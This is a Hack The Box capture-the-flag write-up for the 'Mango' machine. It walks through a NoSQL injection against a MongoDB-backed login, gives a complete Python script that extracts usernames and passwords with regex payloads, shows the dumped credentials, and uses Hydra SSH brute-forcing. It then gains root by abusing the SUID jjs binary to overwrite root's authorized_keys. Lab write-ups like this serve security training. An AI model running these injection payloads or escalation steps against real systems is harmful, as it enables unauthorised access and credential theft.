Hack The Box - Mango
Configuration
The operating systems that I will be using to tackle this machine is a Kali Linux VM.
What I learnt from other writeups is that it was a good habit to map a domain name to the machine’s IP address so as that it will be easier to remember. This can done by appending a line to /etc/hosts
.
1
$ echo "10.10.10.162 mango.htb" >> /etc/hosts
Reconnaissance
Using nmap
, we are able to determine the open ports and running services on the machine.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ nmap -sV -sT -sC mango.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-17 13:05 EST
Nmap scan report for mango.htb (10.10.10.162)
Host is up (0.26s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
| 256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
|_ 256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 403 Forbidden
443/tcp open ssl/ssl Apache httpd (SSL-only mode)
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 400 Bad Request
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Not valid before: 2019-09-27T14:21:19
|_Not valid after: 2020-09-26T14:21:19
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 54.48 seconds
Enumeration (1)
Not much can be done with the ssh
service as we do not have any credentials on hand so lets come back to it later. As for the http
service, maybe we can find some information on it ?
Forbidden
… Bruteforcing the directory and pages also returned no results :( Lets see if the https
service has something for us?
Looks like a copycat of Google’s search engine! But unfortunately it does nothing at all. However, clicking on the “Analytics” button brought us to another page.
The content seems to be from some external websites, which happen to be out of our scope so we can ignore this :)
If we check our nmap
results again and look closely at the ssl-cert
information under port 443, we realise that there is a subdomain under mango.htb
: staging-order.mango.htb
. Viewing the certificate via the browser also shows the same domain name.
Lets add staging-order.mango.htb
to our /etc/hosts
and see if that changes anything.
1
2
3
$ cat /etc/hosts
...
10.10.10.162 mango.htb staging-order.mango.htb
Entering https://staging-order.mango.htb
into the browser shows a login screen!
At this time I was kinda stuck because I had no credentials to test with and I even tried using SQL injection
, but to no avail :( I decided to consult the forums and got a hint that to think about what database the web app was using and how it relates to the name of this box aka Mango
. So I enterd “mango db” into Google and saw this:
I went on to search for MongoDB injection
and found this. I then tried to login with some credentials and used Burp Suite
to intercept the request. I then modified the request body parameters:
And got redirected to /home.php
!
Seems like the web app is vulnerable to NoSQL
injections! I then made a script to help me automate the dumping out of the credentials in the database:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
import requests
import string
from urllib import quote_plus
import re
VALID_CHARS = string.printable
URL = "http://staging-order.mango.htb/"
HEADERS = {'Content-Type': 'application/x-www-form-urlencoded'}
MAX_FIELD_LENGTH = 255
def check_valid(payload):
"""This function returns True if the request results in a successful login"""
return requests.post(URL, data=payload,headers=HEADERS, allow_redirects=False).headers.get('location', '') == 'home.php'
def enumerate_usernames():
"""This function returns a list of usernames extracted"""
list_of_usernames = []
valid_username_lengths = get_username_lengths()
for user_len in valid_username_lengths:
list_of_usernames += get_usernames(user_len)
return list_of_usernames
def get_username_lengths():
"""This function returns a list containing the various lengths of the usernames"""
test_username_length_format = "username[$regex]=^.{{{}}}$&password[$ne]=something&login=login"
valid_username_lengths = []
for i in xrange(1, FIELD_LENGTH + 1):
payload = test_username_length_format.format(i)
print("[*] Testing for username length: {}".format(i))
if check_valid(payload):
# print("[*] Username length found: {}".format(i))
valid_username_lengths.append(i)
return valid_username_lengths
def get_usernames(length):
"""This function returns a list of usernames of the given length"""
usernames = set()
test_username_format = "username[$regex]=^{}.*$&password[$ne]=something&login=login"
while True:
username = ""
for idx in range(length):
for i in VALID_CHARS:
tmp = username + i
print "[*] Testing for username: {}".format(tmp)
payload = test_username_format.format(tmp)
if check_valid(payload):
username = tmp
break
if username and username not in usernames:
test_username_format += "&username[$ne]={}".format(username)
usernames.add(username)
print("[*] Username found: {}".format(username))
else:
break
return list(usernames)
def get_password_length(username):
"""This function returns the length of the password corresponding to the given username"""
test_password_length_format = "username={}&password[$regex]=^.{{{}}}$&login=login"
for i in xrange(1, FIELD_LENGTH + 1):
print("[*] Testing for password length: {}".format(i))
payload = test_password_length_format.format(username, i)
if check_valid(payload):
return i
def get_password(username):
"""This function returns the password corresponding to the given username"""
test_password_format = "username={}&password[$regex]=^{}.*$&login=login"
password = ""
for idx in range(get_password_length(username)):
for i in VALID_CHARS:
tmp = password + i
print("[*] Testing for password: {}".format(tmp))
payload = test_password_format.format(username, quote_plus(re.escape(tmp)))
if check_valid(payload):
password = tmp
print("[*] Password found: {}".format(password))
break
return password
def main():
"""This is the main function"""
user_list = enumerate_usernames()
for username in user_list:
password = get_password(username)
print("[*] Found {}:{}".format(username, password))
if __name__ == "__main__":
main()
It takes a while to run (perhaps optimize using binary search?), but we managed to dump out 2 sets of credentials:
1
2
[*] Found admin:t9KcS3>!0B#2
[*] Found mango:h3mXK8RhU~f{]f5H
The web app doesn’t seem to have any other functionality that we can exploit so lets see if we can try using these credentials on the ssh
service!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ cat user.txt
admin
mango
$ cat pass.txt
t9KcS3>!0B#2
h3mXK8RhU~f{]f5H
$ hydra -L user.txt -P pass.txt ssh://mango.htb
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-04-18 15:17:36
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 4 tasks per 1 server, overall 4 tasks, 4 login tries (l:2/p:2), ~1 try per task
[DATA] attacking ssh://mango.htb:22/
[22][ssh] host: mango.htb login: mango password: h3mXK8RhU~f{]f5H
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-04-18 15:17:41
Using this set of credentials, we can ssh
into the box:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ ssh mango@mango.htb
mango@mango.htb's password:
mango@mango:~$ ls -al
total 44
drwxr-xr-x 6 mango mango 4096 Apr 18 19:04 .
drwxr-xr-x 4 root root 4096 Sep 27 2019 ..
lrwxrwxrwx 1 mango mango 9 Sep 27 2019 .bash_history -> /dev/null
-rw-r--r-- 1 mango mango 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 mango mango 3771 Apr 4 2018 .bashrc
drwx------ 2 mango mango 4096 Sep 28 2019 .cache
-rw------- 1 mango mango 14 Apr 18 16:34 .dbshell
drwx------ 3 mango mango 4096 Apr 18 18:23 .gnupg
drwxrwxr-x 3 mango mango 4096 Apr 18 16:29 .local
-rw------- 1 mango mango 0 Apr 18 16:34 .mongorc.js
-rw-r--r-- 1 mango mango 807 Apr 4 2018 .profile
drwx------ 2 mango mango 4096 Apr 18 18:31 .ssh
-rw------- 1 mango mango 858 Apr 18 19:04 .viminfo
Where’s the user.txt
? Lets see if there are any other possible users on the box.
1
2
3
4
5
6
mango@mango:~$ ls -al /home
total 16
drwxr-xr-x 4 root root 4096 Sep 27 2019 .
drwxr-xr-x 23 root root 4096 Sep 27 2019 ..
drwxr-xr-x 4 admin admin 4096 Apr 18 19:26 admin
drwxr-xr-x 6 mango mango 4096 Apr 18 19:04 mango
Seems like admin
has the user.txt
!
user.txt
Using su
and the admin credentials we found in the web app database, we are able to login as admin
.
1
2
3
4
mango@mango:~$ su admin
Password:
$ whoami
admin
Getting the flag was a piece of cake:
1
2
$ cat ~/user.txt
79bfXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Enumeration(2)
As usual, I will use LinEnum
to enumerate for ways to escalate to root
.
Spawning web server:
1
2
3
4
5
$ mkdir httpserver
$ cd httpserver
$ cp ~/LinEnum.sh .
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Retrieving the script:
1
2
3
4
5
6
7
8
9
10
11
$ cd /tmp
$ wget http://10.10.XX.XX/LinEnum.sh
--2020-04-18 20:04:09-- http://10.10.XX.XX/LinEnum.sh
Connecting to 10.10.14.217:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 46476 (45K) [text/x-sh]
Saving to: ‘LinEnum.sh’
LinEnum.sh 100%[====================================================================================================>] 45.39K 78.8KB/s in 0.6s
2020-04-18 20:04:10 (78.8 KB/s) - ‘LinEnum.sh’ saved [46476/46476]
Running the script:
1
2
3
4
5
$ chmod +x LinEnum.sh
$ ./LinEnum.sh
...
[+] Possibly interesting SUID files:
-rwsr-sr-- 1 root admin 10352 Jul 18 2019 /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
Alright, we can use this executable to escalate our privileges! With the SUID
bit set on the file, we can execute jjs
as if we are root
.
According to GTFOBins
, we are able to spawn an interactive shell with elevated permissions:
1
2
3
4
5
$ cd /usr/lib/jvm/java-11-openjdk-amd64/bin/
$ echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -pc \$@|sh\${IFS}-p _ echo sh -p <$(tty) >$(tty) 2>$(tty)').waitFor()" | ./jjs
Warning: The jjs tool is planned to be removed from a future JDK release
jjs> Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -pc $@|sh${IFS}-p _ echo sh -p </dev/pts/0 >/dev/pts/0 2>/dev/pts/0').waitFor()
#
Unfortunately, it did spawn but it just hung there :( So we gotta think of an alternative way to get root shell.
I tried to spawn a reverse shell back to my listener but it didn’t work. However, I realised that I was able to perform very simple commands like “cp” and “mv” but no piping or redirection.
So how about we write to root
’s authorized_keys
file?
1
2
3
4
5
# cat /etc/ssh/sshd_config
...
PermitRootLogin yes
...
AllowUsers mango root
root.txt
From the above config, we can confirm that we are able to ssh
directly into the box as root
. To do so, first we’ll need to generate a SSH
keypair.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:TEPWxxvFEd9AoEM+xQGEYHHyVHuUeSugqKuFihcLCf4 root@kali
The key's randomart image is:
+---[RSA 3072]----+
| =o===+=O*o |
| . B.oo=B oo.|
| .+.*o.+ .o|
|. .o.. +o . |
|o. . S . |
|o.... |
| .oo.. |
|..oE. |
|o... |
+----[SHA256]-----+
Open the public key/root/.ssh/id_rsa.pub
and copy the contents into your clipboard.
Echo it into a file in the tmp
directory.
1
# echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDXGz/VwVW7AUU35k3HgAjJ7aYLCgE9miz7g4XvCsB+Bk/0NpQWIcd4PUXe4JSe0CK5Dgj2F5LVnKd6s87HN0v0s8RUcsDEKsnwYhIrHmL8G2nYgEl0Pixj7u67lHJbs1pCFfMP4Aj0pJzUoCHhroqXpkdj6P8/FHUnBKntyo51BXzqemUNrif3joCNF/AbQUTPBFMAHmciN2huxU8Q1E8vmVR3SXZbmKw4ZX8wj8sf49hJDCNm2qpiVNyB4nS8KaShMP69ya0mH9ynF2P0YF4nJJlbHcO/j9jvbK5NNMYQSl/xmyL+9okjExiXFH0yQulpDKWsnZv6s8N9K3ASwWIsyavxc7B1UnqOp2elLuRgLI/3QL5XXEEU+l7s/MJ5l9LTvSWBS4m2e1Xqlye41AJAE38p8qq0wX9q3AefEHlOnOcn5XiQQ9H37cx6dayf9B+gKim1G/KycAiURD8Q/+cNs9KCuS9p8gTdReA9ZMSLQ5dXV+tHd06ENAAPYY/HH58= root@kali" > /tmp/secret
And now overwrite the root
’s authorized_keys
file!
1
$ echo "Java.type('java.lang.Runtime').getRuntime().exec('cp /tmp/secret /root/.ssh/authorized_keys').waitFor()" | ./jjs
Now, we are able to ssh
into the root
account using our private key /root/id_rsa
:
1
2
3
4
$ ssh -i /root/id_rsa root@mango.htb
...
root@mango:~# cat root.txt
8a8eXXXXXXXXXXXXXXXXXXXXXXXXXXXX